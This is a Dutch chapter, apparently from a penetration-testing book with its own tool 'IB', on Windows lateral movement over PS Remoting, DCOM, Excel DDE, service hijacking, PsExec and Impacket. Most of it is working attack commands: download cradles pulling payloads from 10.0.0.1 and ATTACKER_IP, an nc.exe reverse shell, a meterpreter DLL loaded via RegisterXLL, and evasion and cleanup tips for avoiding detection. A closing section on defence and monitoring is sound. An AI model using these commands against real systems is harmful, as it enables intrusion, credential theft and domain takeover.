Enter-PSSession -ComputerName TARGET -Credential $cred

Eenmaal in een PSSession heb je een volledig interactieve PowerShell-prompt op het remote systeem. Je kunt scripts uitvoeren, bestanden kopieeren, en alles doen wat je lokaal zou doen.

Maar het wordt pas echt krachtig met Invoke-Command:

# Eén commando op één target
Invoke-Command -ComputerName TARGET -Credential $cred `
  -ScriptBlock { whoami; hostname; ipconfig }

# Een script op meerdere targets tegelijk
Invoke-Command -ComputerName TARGET1,TARGET2,DC01 `
  -FilePath C:\Windows\tasks\script.ps1

# Download cradle remote uitvoeren
Invoke-Command -ComputerName TARGET -Credential $cred `
  -ScriptBlock {
    IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')
  }

Die laatste variant – Invoke-Command op meerdere targets – is goud waard. Je kunt in één klap een payload uitvoeren op tien, twintig, honderd machines. Het is de spreekwoordelijke bom in het postkantoor.

IB – Het lateral_psremoting command in IB biedt vijf methoden: interactieve sessie, remote commando, multi-target script, download cradle, en persistent sessie. De persistent sessie (New-PSSession) is bijzonder handig: je kunt verbinding maken, de sessie opslaan, en er later naar terugkeren zonder opnieuw te authenticeren.

Persistent sessies

Een ondergewaardeerde feature van PS Remoting is de persistent sessie:

# Sessie aanmaken
$sess = New-PSSession -ComputerName TARGET -Credential $cred

# Later weer gebruiken
Enter-PSSession -Session $sess

# Of commando's uitvoeren via de sessie
Invoke-Command -Session $sess -ScriptBlock { Get-Process }

Dit is als een geheime tunnel die open blijft staan. Zolang de sessie actief is, hoef je niet opnieuw te authenticeren. Ideaal voor langdurige operaties.

Detectie

WinRM genereert Event ID 4648 en 4624 (Logon Type 3, Network). PowerShell Remoting daarbovenop genereert Event ID 4103 en 4104 (Script Block Logging) als dat is ingeschakeld, plus 53504 in het Microsoft-Windows-PowerShell/Operational log.

De realiteit? De meeste organisaties hebben PowerShell Script Block Logging niet aan. Het staat standaard uit. Je moet het expliciet inschakelen via Group Policy. En zelfs als het aan staat, genereert het zoveel data dat niemand het leest.

9.4 DCOM – Distributed Component Object Model

Het stoffige protocol dat weigert te sterven

DCOM. Als je een technologie zoekt die perfect het DNA van Microsoft weerspiegelt – backward compatibility boven alles, security als afterthought – dan is DCOM je kandidaat. Het stamt uit de jaren ’90, het was ooit de toekomst van gedistribueerd computing, en het weigert simpelweg om met pensioen te gaan.

DCOM staat standaard aan op elk Windows-systeem. Het gebruikt poort 135 plus dynamische RPC-poorten. En het biedt een aantal COM-objecten waarmee je op afstand processen kunt aanmaken. Niet omdat dat de bedoeling was, maar omdat niemand eraan gedacht heeft om het te voorkomen.

Het is alsof je een huissleutel verstopt in een bloempot bij de voordeur. Iedereen weet dat mensen dat doen, maar niemand doet er iets aan.

MMC20.Application

Het meest gebruikte DCOM-object voor laterale beweging is MMC20.Application. De Microsoft Management Console. Ooit bedoeld om servers te beheren, nu misbruikt om shells te spawnen:

$com = [activator]::CreateInstance(
    [type]::GetTypeFromProgID('MMC20.Application','TARGET')
)
$com.Document.ActiveView.ExecuteShellCommand(
    'powershell',
    $null,
    '-ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')',
    '7'
)

Lees dat nog eens. We maken een verbinding met de Microsoft Management Console op een remote systeem en zeggen: “Hé, voer dit shell-commando even uit.” En MMC zegt: “Ja hoor, geen probleem.” Geen extra authenticatie, geen waarschuwing, geen “weet je zeker dat je dit wilt doen?” Gewoon: alsjeblieft, hier is je shell.

ShellWindows en ShellBrowserWindow

Er zijn meer DCOM-objecten die misbruikt kunnen worden:

# ShellWindows
$com = [activator]::CreateInstance(
    [type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39','TARGET')
)
$item = $com.Item()
$item.Document.Application.ShellExecute(
    'cmd.exe',
    '/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')',
    'C:\Windows\tasks',
    '',
    0
)

# ShellBrowserWindow
$com = [activator]::CreateInstance(
    [type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880','TARGET')
)
$com.Document.Application.ShellExecute(
    'powershell',
    '-ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')',
    'C:\Windows\tasks',
    '',
    0
)

Elke variant heeft subtiele verschillen in hoe het proces wordt gestart en onder welk parent process het draait. Dat is relevant voor detectie: als cmd.exe ineens een child process is van explorer.exe via een DCOM-call, dan zou dat alarmbellen moeten laten rinkelen. Maar dat vereist dat iemand die alarmbellen heeft geinstalleerd.

IB – Het lateral_dcom command in IB bevat drie DCOM-methoden: MMC20.Application, ShellWindows, en ShellBrowserWindow. Alle drie zijn blind execution – je krijgt geen output terug. Zorg dat je een listener klaar hebt staan.

Excel DCOM – Als Office een wapen wordt

En dan is er nog de Excel-variant. Dit is waar het echt absurd wordt. Als Microsoft Office is geinstalleerd op het doelsysteem – en op hoeveel werkstations is dat niet het geval? – kun je Excel.Application misbruiken via DCOM:

# Excel.Application remote instantieren
$com = [activator]::CreateInstance(
    [type]::GetTypeFromProgID("Excel.Application", "TARGET_IP")
)
$com.DisplayAlerts = $false
$wb = $com.Workbooks.Add()
$ws = $wb.Worksheets.Item(1)

# Code execution via DDE in een cel
$ws.Cells.Item(1,1).Value = "=cmd|'/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER_IP/shell.ps1'')'|"
$ws.Cells.Item(1,1).Activate()

Je leest het goed. We openen Excel op afstand, maken een nieuw werkblad, zetten een DDE-formule in een cel, en die formule voert een commando uit. Het is alsof je een bom verstopt in een spreadsheet. En het wordt nog mooier:

# DDEInitiate methode
$com = [activator]::CreateInstance(
    [type]::GetTypeFromProgID("Excel.Application", "TARGET_IP")
)
$com.DDEInitiate("cmd", "/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')")

# RegisterXLL -- DLL laden via Excel
# Eerst: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f dll -o evil.xll
$com = [activator]::CreateInstance(
    [type]::GetTypeFromProgID("Excel.Application", "TARGET_IP")
)
$com.RegisterXLL("\\ATTACKER_IP\share\evil.xll")

De RegisterXLL-methode is bijzonder elegant: je laat Excel een DLL laden vanaf een netwerkshare. Die DLL kan alles bevatten – een reverse shell, een beacon, een volledige RAT. Excel laadt het braaf in, geen vragen gesteld.

IB – Het lateral_dcom_excel command bevat alle Excel DCOM-varianten: DDE via cel, DDEInitiate, en RegisterXLL. Onthoud: dit werkt alleen als Office geinstalleerd is op het target. Op servers is dat zelden het geval, maar op werkstations bijna altijd.

DCOM vereisten

Even een praktische samenvatting:

Vereiste Details
Poort 135 RPC endpoint mapper
Dynamische RPC poorten 49152-65535 (standaard)
Lokale admin op target Vereist voor alle DCOM-methoden
DCOM ingeschakeld Standaard aan op alle Windows-versies
Office (voor Excel) Alleen voor Excel.Application variant

Detectie

DCOM genereert opvallend weinig logs vergeleken met WMI of PsExec. Er is geen standaard Windows Event ID specifiek voor DCOM laterale beweging. Je moet Sysmon Event ID 1 (Process Creation) monitoren en kijken naar ongewone parent-child process relationships.

Als mmc.exe ineens powershell.exe start op een server waar niemand handmatig een MMC-console opent, is dat verdacht. Maar je moet wel weten waar je naar zoekt.

9.5 Service Control Manager – De vergeten dienst

Services als Trojaans paard

De Windows Service Control Manager (SCM) is het mechanisme waarmee services worden aangemaakt, gestart, gestopt en verwijderd. En het werkt op afstand. Via SMB op poort 445 en RPC op poort 135 kun je een service aanmaken op een remote systeem, die service een willekeurig commando laten uitvoeren, en hem daarna weer verwijderen.

Het is alsof je bij iemands huis binnenloopt, een nep-waterleidingbedrijf opricht in hun kelder, het lood uit de muren trekt, en het bedrijf weer opheft voordat iemand het merkt.

Service aanmaken en starten

De klassieke methode met sc.exe:

:: Stap 1: Service aanmaken op remote target
sc \\TARGET create evilsvc binPath= "cmd.exe /c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')"

:: Stap 2: Service starten
sc \\TARGET start evilsvc

:: Stap 3: Opruimen (ALTIJD doen!)
sc \\TARGET delete evilsvc

Let op die spatie na binPath=. Die is verplicht. Het is een van die charmante Windows-eigenaardigheden die ervoor zorgen dat je de eerste drie keer denkt dat je iets fout doet, terwijl het gewoon slechte syntax-design is.

Een belangrijk detail: als je binPath verwijst naar iets dat geen echte Windows service is (en dat is bijna altijd het geval bij laterale beweging), dan zal de service na ongeveer 30 seconden een timeout geven. De service start, voert je commando uit, en crasht dan omdat het niet het juiste service-protocol volgt. Maar tegen die tijd is je payload allang geladen.

Bestaande service kapen

Een stealthier variant is het overschrijven van een bestaande service:

:: Stap 1: binPath overschrijven
sc \\TARGET config bestaandeservice binPath= "cmd.exe /c C:\Windows\tasks\nc.exe 10.0.0.1 443 -e cmd.exe"

:: Stap 2: Service herstarten
sc \\TARGET stop bestaandeservice
sc \\TARGET start bestaandeservice

Dit is gevaarlijk maar effectief. Je overschrijft de binary path van een bestaande service, herstart hem, en je commando wordt uitgevoerd. Het nadeel: als je vergeet de originele binPath terug te zetten, heb je een productie-service kapotgemaakt. Dat is niet alleen slechte OPSEC, dat is ook een goede manier om je opdrachtgever boos te maken.

IB – Het lateral_scm command bevat beide methoden: nieuw service aanmaken en bestaand service kapen. IB herinnert je ook aan de cleanup-stap. Vergeet die niet – een achtergelaten service is een forensisch bewijs dat je bestaan verraadt.

PsExec – Onder de motorkap

Hier is iets dat veel mensen niet weten: PsExec doet precies hetzelfde als wat we hierboven handmatig doen. Het kopieert een executable naar de ADMIN$ share van het doelsysteem, maakt een service aan die die executable start, en ruimt alles weer op als je klaar bent.

.\PsExec64.exe \\TARGET -u DOMAIN\user -p Password123! -accepteula cmd.exe

Het verschil is dat PsExec dit allemaal netjes voor je verpakt in een enkel commando. Het is de IKEA-versie van service-based laterale beweging: alle onderdelen zitten in de doos, je hoeft alleen de instructies te volgen.

IB – Gebruik het get_psexec64 command om PsExec64.exe te downloaden naar C:\Windows\tasks\:

powershell -c (new-object System.Net.WebClient).DownloadFile('http://10.0.0.1/tools/PsExec64.exe','c:\windows\tasks\PsExec64.exe')

IB host PsExec64 op de ingebouwde HTTP server zodat je het direct naar het target kunt pushen.

PsExec – Hoe het werkt onder de motorkap

Het is nuttig om precies te begrijpen wat PsExec doet, stap voor stap:

  1. Verbinding maken met de ADMIN$ share (\\TARGET\ADMIN$) via SMB op poort 445
  2. Executable kopieren naar C:\Windows\ op het doelsysteem
  3. Service aanmaken via de Service Control Manager (RPC op poort 135)
  4. Service starten – de executable wordt uitgevoerd als SYSTEM
  5. Named pipe opzetten voor stdin/stdout communicatie
  6. Opruimen – service stoppen, service verwijderen, executable verwijderen

Dat zijn zes stappen die elk afzonderlijke log entries genereren. Het is de reden waarom PsExec de meest gedetecteerde lateral movement-techniek is. Zes keer een alarmbel, zes kansen voor detectie. En toch gebruiken mensen het dagelijks.

De ironie: Sysinternals PsExec was nooit bedoeld als hacking-tool. Het was een legitieme systeembeheertool. Mark Russinovich bouwde het zodat sysadmins op afstand commando’s konden uitvoeren. Het feit dat het nu symbool staat voor laterale beweging zegt meer over de staat van netwerkbeveiliging dan over de tool zelf.

Impacket psexec.py

Vanuit Linux kun je de Impacket-variant gebruiken:

# Met wachtwoord
python3 psexec.py DOMAIN/user:'Password123!'@TARGET_IP

# Met NTLM hash (Pass-the-Hash)
python3 psexec.py DOMAIN/user@TARGET_IP -hashes :NTLM_HASH

# Met Kerberos ticket
export KRB5CCNAME=/tmp/krb5cc_user
python3 psexec.py DOMAIN/user@TARGET -k -no-pass

Impacket’s psexec.py is flexibeler dan de Sysinternals-variant: het ondersteunt Pass-the-Hash en Kerberos-authenticatie out of the box.

Detectie

PsExec en SCM laterale beweging genereren een hoop logs:

PsExec is luid. Het is de marching band van laterale beweging-technieken. Als een organisatie iets monitort, detecteert het waarschijnlijk PsExec. Daarom gebruiken ervaren pentesters het als laatste optie, niet als eerste.

9.6 IB Screen Terminal – Interactieve sessies opnemen

Incompetent Bastard heeft een ingebouwde screen terminal-functionaliteit die gebouwd is bovenop asciinema-achtige recording. Dit is niet direct een lateral movement-techniek, maar het is essentieel voor je workflow.

Wanneer je een interactieve sessie hebt op een remote systeem – via Evil-WinRM, PSSession, of een reverse shell – kun je die sessie opnemen via het IB dashboard. Elke toetsaanslag, elke output, elke foutmelding wordt vastgelegd.

Dit is om drie redenen belangrijk:

  1. Bewijs: Je opdrachtgever wil zien wat je gedaan hebt. Een recording is onweerlegbaar bewijs.
  2. Reproduceerbaarheid: Als je drie weken later moet uitleggen hoe je van werkstation A naar de domain controller bent gekomen, is een recording beter dan “ik geloof dat ik WMI heb gebruikt, of was het DCOM?”
  3. Leren: Ga na een assessment je recordings terug kijken. Je zult verbaasd zijn hoeveel tijd je besteedt aan typo’s en het opzoeken van syntax.

IB – Ga naar het Screen panel in het dashboard om een interactieve terminal te openen. Alles wordt automatisch opgeslagen en is terug te vinden onder Recordings. Je kunt ook de output van specifieke commando’s bekijken onder Outputs.

9.7 SSH – Laterale beweging in gemengde omgevingen

Windows heeft tegenwoordig ook SSH

Een veelgemaakte fout bij pentesters: ze vergeten dat moderne Windows-versies (Windows 10 1809+, Server 2019+) OpenSSH als optionele feature bevatten. En in veel organisaties is het ingeschakeld, vooral op servers waar Linux-beheerders ook toegang nodig hebben.

# SSH naar Windows target
ssh DOMAIN\\user@TARGET_IP

# Via ProxyChains als je door een tunnel werkt
proxychains ssh user@TARGET_IP

SSH is interessant voor laterale beweging om twee redenen:

  1. Het is versleuteld: De inhoud van je sessie is niet zichtbaar voor netwerk monitoring tools. IDS/IPS-systemen zien verkeer op poort 22, maar niet wat erin zit.
  2. Het is verwacht: In gemengde omgevingen (Windows + Linux) is SSH-verkeer normaal. Het valt niet op.

Impacket – De gereedschapskist voor Linux-aanvallers

Impacket verdient een aparte vermelding, want het is niet zomaar een tool – het is een complete bibliotheek van Python-implementaties van Windows-netwerkprotocollen. En het bevat meerdere lateral movement-tools:

# psexec.py -- PsExec via Impacket
python3 psexec.py DOMAIN/user:'Password123!'@TARGET

# smbexec.py -- Stealthier dan psexec, geen bestanden op ADMIN$
python3 smbexec.py DOMAIN/user:'Password123!'@TARGET

# wmiexec.py -- WMI execution, semi-interactief
python3 wmiexec.py DOMAIN/user:'Password123!'@TARGET

# atexec.py -- Scheduled task execution
python3 atexec.py DOMAIN/user:'Password123!'@TARGET 'whoami'

# dcomexec.py -- DCOM execution
python3 dcomexec.py DOMAIN/user:'Password123!'@TARGET

# Alle tools ondersteunen Pass-the-Hash:
python3 wmiexec.py DOMAIN/user@TARGET -hashes :NTLM_HASH

# En Kerberos:
export KRB5CCNAME=/tmp/krb5cc_user
python3 psexec.py DOMAIN/user@TARGET -k -no-pass

De keuze tussen Impacket-tools is een afweging tussen functionaliteit en stealth:

Tool Methode Interactief? Stealth
psexec.py Service + SMB Ja Laag (service creatie)
smbexec.py Service + SMB Semi Gemiddeld (geen file drop)
wmiexec.py WMI Semi Hoog (geen service, geen SMB write)
atexec.py Scheduled Task Nee (blind) Gemiddeld
dcomexec.py DCOM Semi Hoog

wmiexec.py is de favoriet voor stealthy operaties: het gebruikt WMI voor command execution en schrijft output naar een tijdelijk bestand op de ADMIN$ share dat direct wordt opgehaald en verwijderd. Het maakt geen services aan en dropt geen executables.

Het kiezen van de juiste tool

Hier is een beslisboom die je in de praktijk kunt gebruiken:

Heb je WinRM (5985/5986) beschikbaar?
├── Ja → Evil-WinRM (volledig interactief, upload/download)
└── Nee
    Heb je SMB (445) beschikbaar?
    ├── Ja → Is stealth belangrijk?
    │   ├── Ja → wmiexec.py (WMI, minimale artefacten)
    │   └── Nee → psexec.py (betrouwbaar, interactief)
    └── Nee
        Heb je alleen RPC (135)?
        ├── Ja → DCOM of WMI (PowerShell native)
        └── Nee
            Heb je SSH (22)?
            ├── Ja → SSH
            └── Nee → Je hebt een tunneling-probleem (zie H13)

IB – IB’s command panel groepeert alle lateral movement commando’s samen. Je kunt snel wisselen tussen methoden zonder commando’s handmatig te hoeven aanpassen. De target IP en credentials worden bewaard in je sessie.

9.8 Authenticatiemethoden – Wachtwoord, hash, of ticket?

Een belangrijk aspect van laterale beweging dat beginners vaak over het hoofd zien: je hoeft niet altijd een plaintext wachtwoord te hebben. Er zijn drie authenticatiemethoden:

Pass-the-Password

De simpelste: je kent het wachtwoord en gebruikt het:

evil-winrm -i TARGET -u user -p 'Password123!'
python3 psexec.py DOMAIN/user:'Password123!'@TARGET

Pass-the-Hash (PtH)

Je kent het wachtwoord niet, maar je hebt de NTLM hash (zie hoofdstuk 10):

evil-winrm -i TARGET -u user -H e53d87d42adaa3ca32bdb34a876cbffb
python3 psexec.py DOMAIN/user@TARGET -hashes :e53d87d42adaa3ca32bdb34a876cbffb

Pass-the-Hash werkt met NTLM-authenticatie. Het is mogelijk omdat het NTLM-protocol de hash zelf als authenticatie-bewijs gebruikt, niet het wachtwoord. Het wachtwoord is slechts het middel om de hash te berekenen. Als je de hash hebt, is het wachtwoord overbodig.

Dit is een fundamenteel ontwerpprobleem in NTLM dat al decennia bekend is. Microsoft’s oplossing? Kerberos. Maar NTLM wordt nog steeds breed ondersteund voor backward compatibility. Omdat backward compatibility boven beveiliging gaat. Altijd.

Pass-the-Ticket (PtT)

Je hebt een Kerberos ticket (TGT of service ticket), verkregen via Rubeus, Mimikatz, of Kerberoasting:

export KRB5CCNAME=/tmp/krb5cc_user
python3 psexec.py DOMAIN/user@TARGET -k -no-pass
evil-winrm -i TARGET -r DOMAIN.LOCAL

Pass-the-Ticket is stealthier dan PtH omdat het Kerberos gebruikt in plaats van NTLM. Veel detectieregels zijn gericht op NTLM-gebaseerde aanvallen. Kerberos-verkeer is normaler en moeilijker te onderscheiden van legitiem gebruik.

De keuze tussen deze methoden hangt af van wat je hebt en wat je wilt bereiken:

Methode Nodig Detectie OPSEC
Password Plaintext wachtwoord Event 4648 Laag risico als het een geldig account is
PtH NTLM hash Event 4648 + NTLM-specifieke alerts Gemiddeld risico
PtT Kerberos ticket Event 4768/4769 Laag risico (legitiem Kerberos verkeer)

9.9 OPSEC – Welke methode is het stilste?

“De beste inbreker is niet degene met het beste gereedschap. Het is degene die het minste lawaai maakt.” – Niemand heeft dit ooit gezegd, maar het had gekund.

Dit is de vraag die elke pentester zich zou moeten stellen: als ik van punt A naar punt B wil, welke methode genereert de minste detecteerbare artefacten?

Hier is een eerlijke vergelijking:

Methode Luidruchtigheid Reden
PsExec Zeer hoog Service installatie, ADMIN$ share access, meerdere event IDs
SCM (nieuw) Hoog Service installatie zichtbaar in logs
SCM (kapen) Gemiddeld Geen nieuwe service, maar config-wijziging
WMI Laag-gemiddeld Proces creatie, maar geen service of share access
WinRM Laag-gemiddeld Legitiem protocol, maar logon events
DCOM Laag Minimale logging, ongewone maar moeilijk te detecteren
PS Remoting Laag Mits Script Block Logging uit staat

De ironie is dat de meest gebruikte methode (PsExec) ook de luidruchtigste is. Het is alsof inbrekers alleen de voordeur intrappen terwijl het raampje in de badkamer openstaat. Maar PsExec is makkelijk, iedereen kent het, en “het werkte de vorige keer ook.”

Mensen kiezen niet de beste methode, ze kiezen de methode die ze kennen. En dan zijn ze verbaasd als ze gepakt worden. Dat is geen ongeluk, dat is luiheid met extra stappen.

OPSEC tips per methode

WMI: - Vermijd wmic.exe – het wordt gemonitord. Gebruik PowerShell Invoke-WmiMethod of Invoke-CimMethod. - Gebruik hashes in plaats van plaintext wachtwoorden waar mogelijk.

WinRM: - Evil-WinRM over HTTPS (poort 5986) als dat beschikbaar is. - Gebruik Kerberos-authenticatie in plaats van NTLM om Pass-the-Hash detectie te voorkomen.

DCOM: - Wissel af tussen objecten (MMC, ShellWindows, ShellBrowserWindow) om pattern detection te voorkomen. - DCOM genereert weinig logs, maar ongewone parent-child relationships zijn een red flag.

SCM/PsExec: - Alleen gebruiken als andere methoden niet werken. - Randomiseer servicenamen – evilsvc is niet subtiel. - Ruim services ALTIJD op na gebruik.

9.10 Verdediging – Hoe voorkom je dit?

Laten we even de pet omdraaien en kijken wat verdedigers kunnen doen. Want tot nu toe is het een vrij deprimerend beeld – bijna alles werkt bijna altijd.

Network segmentation

Dit is het belangrijkste en het meest genegeerde verdedigingsmechanisme. Als werkstations niet met andere werkstations kunnen praten, is laterale beweging dood. Zo simpel is het.

Maar – en hier komt de ongemakkelijke waarheid – segmentatie kost geld, kost tijd, en maakt het leven van systeembeheerders moeilijker. Dus in plaats van te segmenteren, kiezen organisaties voor “monitoring.” Alsof het installeren van een bewakingscamera een alternatief is voor een slot op de deur.

In een goed gesegmenteerd netwerk: - Werkstations kunnen niet met andere werkstations communiceren - Servers zitten in aparte VLANs met strikte firewall-regels - Management-verkeer (WMI, WinRM, RDP) gaat via dedicated management VLANs - De domain controller is alleen bereikbaar vanaf specifieke jump-hosts

Credential Guard

Windows Credential Guard gebruikt virtualization-based security om LSASS te beschermen. Als Credential Guard actief is, kunnen tools als Mimikatz geen plaintext wachtwoorden uit het geheugen halen. Het is een van de meest effectieve verdedigingen tegen credential theft en daarmee tegen laterale beweging.

Het probleem: Credential Guard vereist specifieke hardware (UEFI Secure Boot, TPM 2.0) en breekt sommige legacy-applicaties. Dus wordt het “op de roadmap gezet” en vervolgens vergeten.

Beperking van lokale admin-rechten

Als gebruikers geen lokale admin zijn op hun werkstation, werkt het merendeel van deze technieken niet. WMI, DCOM, SCM, PsExec – ze vereisen allemaal lokale admin-rechten op het doelsysteem.

Gebruik LAPS (Local Administrator Password Solution) om ervoor te zorgen dat elk werkstation een uniek lokaal admin-wachtwoord heeft. Geen hergebruik van wachtwoorden betekent geen laterale beweging via gecompromitteerde lokale accounts.

Monitoring

Als je dan toch gaat monitoren, monitor dan het juiste:

# Windows Event IDs om te monitoren
4648  - Explicit Credential Logon (alle lateral movement)
4624  - Logon Type 3 (Network Logon)
7045  - Service Installation (PsExec/SCM)
4697  - Service Installation (Security log)
5140  - Network Share Access (ADMIN$, C$)
4103  - PowerShell Module Logging
4104  - PowerShell Script Block Logging

Sysmon is essentieel:

Event ID 1  - Process Creation (parent-child relationships)
Event ID 3  - Network Connection
Event ID 11 - File Creation
Event ID 13 - Registry Modification

Protected Users group

De Protected Users security group in Active Directory voorkomt dat credentials worden gecached op systemen waarop een lid inlogt. Voeg alle gevoelige accounts toe – domain admins, service accounts met hoge rechten – en je beperkt de schade als een werkstation wordt gecompromitteerd.

Windows Firewall – De vergeten verdediger

Een verrassend effectieve maar zelden gebruikte verdediging: de Windows Firewall. Niet de firewall aan de rand van het netwerk, maar de lokale Windows Firewall op elk werkstation.

# Blokkeer SMB (445) inbound op werkstations
New-NetFirewallRule -DisplayName "Block SMB Inbound" `
  -Direction Inbound -LocalPort 445 -Protocol TCP -Action Block

# Blokkeer WinRM (5985/5986) inbound op werkstations
New-NetFirewallRule -DisplayName "Block WinRM Inbound" `
  -Direction Inbound -LocalPort 5985,5986 -Protocol TCP -Action Block

# Blokkeer RPC endpoint mapper (135) inbound op werkstations
New-NetFirewallRule -DisplayName "Block RPC Inbound" `
  -Direction Inbound -LocalPort 135 -Protocol TCP -Action Block

Als werkstations deze poorten niet accepteren, werkt geen enkele lateral movement-techniek in dit hoofdstuk. Geen WMI, geen DCOM, geen WinRM, geen PsExec. Het is de simpelste en meest effectieve verdediging die er is. En toch doen de meeste organisaties het niet.

Waarom niet? Omdat “Remote Desktop moet blijven werken” en “ik moet PowerShell Remoting kunnen gebruiken naar die machine” en “SCCM heeft SMB nodig.” En in plaats van uitzonderingen te maken voor specifieke beheersystemen, laten ze alles open voor iedereen. Het is het digitale equivalent van het verwijderen van alle deuren uit je huis omdat je moeder er af en toe langskomt.

Detectie-architectuur in de praktijk

Een complete detectie-setup voor laterale beweging ziet er als volgt uit:

Laag 1: Sysmon op elk endpoint
├── Event ID 1: Process Creation (command line logging)
├── Event ID 3: Network Connection (outbound naar ongewone poorten)
├── Event ID 10: Process Access (LSASS access)
├── Event ID 11: File Creation (bestanden in C:\Windows\tasks, ADMIN$)
└── Event ID 13: Registry Modification

Laag 2: Windows Security Event Log
├── Event ID 4624: Logon (Type 3 = Network, Type 10 = RemoteInteractive)
├── Event ID 4648: Explicit Credential Logon
├── Event ID 4697/7045: Service Installation
├── Event ID 5140: Network Share Access
└── Event ID 4103/4104: PowerShell Logging

Laag 3: Netwerk monitoring
├── Unusual SMB traffic patterns (werkstation → werkstation)
├── RPC traffic naar ongewone bestemmingen
├── WinRM traffic van niet-beheersystemen
└── SSH traffic waar het niet verwacht wordt

De gouden regel: werkstation-naar-werkstation verkeer op poorten 135, 445, 5985, of 5986 is bijna altijd verdacht. Werkstations hoeven niet met elkaar te praten via deze protocollen. Als je dat ziet, is het ofwel een misconfiguratie, ofwel een aanvaller.

9.11 Het platte netwerk – De ongemakkelijke waarheid

Laat me even een verhaal vertellen. Ik was ooit bij een organisatie – laten we ze “Bedrijf X” noemen, want dat doen we altijd – die trots waren op hun nieuwe firewall. Tweehonderdduizend euro. Next-generation. AI-powered threat detection. Het hele circus.

Intern was hun netwerk zo plat als een pannenkoek. Elke machine kon met elke andere machine praten. De receptie-PC kon pingen naar de domain controller. De printer stond in hetzelfde VLAN als de salarisserver. De gastenwifi zat op hetzelfde netwerk als de productieomgeving.

Toen ik vroeg waarom, zei de IT-manager: “Segmentatie is complex en we willen geen tickets over connectiviteitsproblemen.”

Laat dat even bezinken. Ze wilden geen tickets over connectiviteitsproblemen. Dus in plaats daarvan hadden ze een netwerk waar een aanvaller vanaf elke willekeurige machine naar elke andere machine kon bewegen. Het is alsof je een huis bouwt zonder binnenmuren omdat “deuren zo lastig zijn.”

Tweehonderdduizend euro aan firewall. Nul euro aan interne segmentatie. En als ik het rapport presenteerde met laterale beweging van de receptie-PC naar de domain controller in vier stappen, keken ze me aan alsof ik het probleem was.

Dat is het ding met beveiliging: mensen kopen de glimmende spullen en vergeten de basis. Ze kopen een race-auto en vergeten er deuren in te zetten.

9.12 Praktische walkthrough – Van werkstation naar server

Laten we een realistisch scenario doorlopen. Je hebt een werkstation gecompromitteerd via phishing. De gebruiker is corp\jdejong en je hebt haar wachtwoord.

Stap 1: Verkenning

# Welke machines zijn er in het netwerk?
Get-ADComputer -Filter * | Select-Object Name, DNSHostName

# Waar heeft jdejong admin-rechten?
Find-LocalAdminAccess -Verbose

# Welke sessies zijn er actief?
Invoke-UserHunter -Verbose

Stap 2: Kies je methode

Stel dat jdejong lokale admin is op WS02. WinRM staat open (poort 5985). Dan is PS Remoting de logische keuze:

$cred = New-Object System.Management.Automation.PSCredential(
    'CORP\jdejong',
    (ConvertTo-SecureString 'Welkom123!' -AsPlainText -Force)
)
Enter-PSSession -ComputerName WS02 -Credential $cred

Stap 3: Op het nieuwe systeem

[WS02]: PS> whoami
corp\jdejong

[WS02]: PS> hostname
WS02

[WS02]: PS> # Kijk welke tokens beschikbaar zijn
[WS02]: PS> Get-Process -IncludeUserName | Select-Object UserName -Unique

UserName
--------
CORP\jdejong
CORP\admin.vanderberg
NT AUTHORITY\SYSTEM

Daar is een admin-account. admin.vanderberg heeft een sessie op WS02. Nu gaan we die credentials stelen – maar dat is hoofdstuk 10.

Stap 4: Verder bewegen

Met de gestolen credentials van admin.vanderberg kun je naar de domain controller. Maar je wilt stiller zijn. Geen PsExec. Geen services. WMI:

Invoke-WmiMethod -Class Win32_Process -Name Create `
  -ArgumentList 'powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')' `
  -ComputerName DC01 `
  -Credential $admin_cred

En nu wacht je tot je beacon terugkomt op je listener.

Alternatief scenario: Via DCOM als WinRM niet beschikbaar is

Stel dat WinRM niet open staat op WS02, maar poort 135 wel. Dan gebruik je DCOM:

# MMC20.Application DCOM lateral movement
$com = [activator]::CreateInstance(
    [type]::GetTypeFromProgID('MMC20.Application','WS02')
)
$com.Document.ActiveView.ExecuteShellCommand(
    'powershell',
    $null,
    '-ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')',
    '7'
)

Je krijgt geen interactieve shell, maar als je listener draait, krijg je een reverse shell terug. Stiller dan PsExec, minder logs, en geen service-installatie.

De credential chain visualiseren

Machine     Account             Methode              Privilege
─────────── ─────────────────── ──────────────────── ──────────
WS01        jdejong             (phishing)           Local Admin
  ↓
WS02        jdejong → admin.vdb PS Remoting (5985)   Local Admin
  ↓
SRV01       admin.vanderberg    WMI (135)            Server Admin
  ↓
DC01        admin.vanderberg    Evil-WinRM (5985)    Domain Admin

Elke sprong in deze keten is een lateral movement. En elke sprong vereist credentials die op de vorige machine zijn gevonden. Het is een ketting, en de zwakste schakel bepaalt of de hele ketting breekt.

IB – Documenteer elke stap in je assessment. Gebruik de IB Notes functie om per machine bij te houden welke credentials je hebt gevonden en welke methode je hebt gebruikt. Dit is cruciaal voor je rapport en voor het reproduceren van de aanvalsketen.

Veelgemaakte fouten bij lateral movement

Om dit hoofdstuk af te sluiten, hier de meest voorkomende fouten die ik pentesters zie maken:

  1. Direct PsExec gebruiken: Het werkt, maar het is luid. Probeer eerst WMI of DCOM.
  2. Vergeten op te ruimen: Achtergelaten services, bestanden in C:\Windows\tasks, SMB-shares. Forensisch bewijs dat je aanwezigheid verraadt.
  3. Geen listener klaar: Je vuurt een DCOM-commando af en realiseert je dat je geen listener hebt draaien. Je command execution is verspild.
  4. Tunneling vergeten: Je kunt de target niet direct bereiken vanuit je Kali-machine. Je moet eerst een tunnel opzetten (hoofdstuk 13).
